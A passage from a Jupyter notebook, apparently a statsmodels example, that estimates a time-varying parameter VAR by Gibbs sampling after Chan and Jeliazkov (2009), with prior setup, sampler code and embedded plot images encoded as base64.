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\n", "text/plain": [ "<Figure size 1080x576 with 4 Axes>" ] }, "metadata": { "needs_background": "light" }, "output_type": "display_data" } ], "source": [ "# Here, for illustration purposes only, we plot the time-varying\n", "# coefficients conditional on an ad-hoc parameterization\n", "\n", "# Recall that `initial_res` contains the Kalman filtering and smoothing,\n", "# and the `states.smoothed` attribute contains the smoothed states\n", "plot_coefficients_by_equation(initial_res.states.smoothed);" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "#### Bayesian estimation via MCMC\n", "\n", "We will now implement the Gibbs sampler scheme described in Chan and Jeliazkov (2009), Algorithm 2.\n", "\n", "\n", "We use the following (conditionally conjugate) priors:\n", "\n", "$$\n", "\\begin{aligned}\n", "H & \\sim \\mathcal{IW}(\\nu_1^0, S_1^0) \\\\\n", "\\sigma_i^2 & \\sim \\mathcal{IG} \\left ( \\frac{\\nu_{i2}^0}{2}, \\frac{S_{i2}^0}{2} \\right )\n", "\\end{aligned}\n", "$$\n", "\n", "where $\\mathcal{IW}$ denotes the inverse-Wishart distribution and $\\mathcal{IG}$ denotes the inverse-Gamma distribution. We set the prior hyperparameters as:\n", "\n", "$$\n", "\\begin{aligned}\n", "v_1^0 = T + 3, & \\quad S_1^0 = I \\\\\n", "v_{i2}^0 = 6, & \\quad S_{i2}^0 = 0.01 \\qquad \\text{for each} ~ i\\\\\n", "\\end{aligned}\n", "$$" ] }, { "cell_type": "code", "execution_count": 12, "metadata": { "execution": { "iopub.execute_input": "2021-02-02T06:51:40.281045Z", "iopub.status.busy": "2021-02-02T06:51:40.279342Z", "iopub.status.idle": "2021-02-02T06:51:40.286741Z", "shell.execute_reply": "2021-02-02T06:51:40.287944Z" } }, "outputs": [], "source": [ "# Prior hyperparameters\n", "\n", "# Prior for obs. cov. is inverse-Wishart(v_1^0=k + 3, S10=I)\n", "v10 = mod.k_endog + 3\n", "S10 = np.eye(mod.k_endog)\n", "\n", "# Prior for state cov. variances is inverse-Gamma(v_{i2}^0 / 2 = 3, S+{i2}^0 / 2 = 0.005)\n", "vi20 = 6\n", "Si20 = 0.01" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Before running the MCMC iterations, there are a couple of practical steps:\n", "\n", "1. Create arrays to store the draws of our state vector, observation covariance matrix, and state error variances.\n", "2. Put the initial values for H and Q (described above) into the storage vectors\n", "3. Construct the simulation smoother object associated with our `TVPVAR` instance to make draws of the state vector" ] }, { "cell_type": "code", "execution_count": 13, "metadata": { "execution": { "iopub.execute_input": "2021-02-02T06:51:40.298506Z", "iopub.status.busy": "2021-02-02T06:51:40.291615Z", "iopub.status.idle": "2021-02-02T06:51:40.301956Z", "shell.execute_reply": "2021-02-02T06:51:40.303118Z" } }, "outputs": [], "source": [ "# Gibbs sampler setup\n", "niter = 11000\n", "nburn = 1000\n", "\n", "# 1. Create storage arrays\n", "store_states = np.zeros((niter + 1, mod.nobs, mod.k_states))\n", "store_obs_cov = np.zeros((niter + 1, mod.k_endog, mod.k_endog))\n", "store_state_cov = np.zeros((niter + 1, mod.k_states))\n", "\n", "# 2. Put in the initial values\n", "store_obs_cov[0] = initial_obs_cov\n", "store_state_cov[0] = initial_state_cov_diag\n", "mod.update_variances(store_obs_cov[0], store_state_cov[0])\n", "\n", "# 3. Construct posterior samplers\n", "sim = mod.simulation_smoother(method='cfa')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "As before, we could have used either the simulation smoother based on the Kalman filter and smoother or that based on the Cholesky Factor Algorithm." ] }, { "cell_type": "code", "execution_count": 14, "metadata": { "execution": { "iopub.execute_input": "2021-02-02T06:51:40.308454Z", "iopub.status.busy": "2021-02-02T06:51:40.306764Z", "iopub.status.idle": "2021-02-02T06:52:49.772279Z", "shell.execute_reply": "2021-02-02T06:52:49.773190Z" } }, "outputs": [], "source": [ "for i in range(niter):\n", " mod.update_variances(store_obs_cov[i], store_state_cov[i])\n", " sim.simulate()\n", "\n", " # 1. Sample states\n", " store_states[i + 1] = sim.simulated_state.T\n", "\n", " # 2. Simulate obs cov\n", " fitted = np.matmul(mod['design'].transpose(2, 0, 1), store_states[i + 1][..., None])[..., 0]\n", " resid = mod.endog - fitted\n", " store_obs_cov[i + 1] = invwishart.rvs(v10 + mod.nobs, S10 + resid.T @ resid)\n", "\n", " # 3. Simulate state cov variances\n", " resid = store_states[i + 1, 1:] - store_states[i + 1, :-1]\n", " sse = np.sum(resid**2, axis=0)\n", " \n", " for j in range(mod.k_states):\n", " rv = invgamma.rvs((vi20 + mod.nobs - 1) / 2, scale=(Si20 + sse[j]) / 2)\n", " store_state_cov[i + 1, j] = rv" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "After removing a number of initial draws, the remaining draws from the posterior allow us to conduct inference. Below, we plot the posterior mean of the time-varying regression coefficients.\n", "\n", "(**Note**: these plots are different from those in Figure 1 of the published version of Chan and Jeliazkov (2009), but they are very similar to those produced by the Matlab replication code available at http://joshuachan.org/code/code_TVPVAR.html)" ] }, { "cell_type": "code", "execution_count": 15, "metadata": { "execution": { "iopub.execute_input": "2021-02-02T06:52:49.777421Z", "iopub.status.busy": "2021-02-02T06:52:49.776164Z", "iopub.status.idle": "2021-02-02T06:52:51.481594Z", "shell.execute_reply": "2021-02-02T06:52:51.483183Z" } }, "outputs": [ { "data": { "text/plain": [ "<AxesSubplot:title={'center':'Interest rate equation'}>" ] }, "execution_count": 1, "metadata": {}, "output_type": "execute_result" }, { "data": { "image/png": "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